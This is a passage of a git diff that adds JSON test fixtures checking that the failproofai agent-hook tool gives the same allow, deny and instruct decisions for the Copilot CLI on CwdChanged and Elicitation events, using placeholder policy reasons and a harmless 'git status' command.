"decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..366058f4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c32acbbc --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..782b7176 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..045ac324 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a6e178f4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..322ef79c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4fa300e8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..4973d989 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e571ee12 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f4535f45 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cfb73f0f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..78f24544 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ee162224 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0f70b5fe --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9688f306 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a4331d98 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f2037f1e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..049486c3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..125fc8d7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + 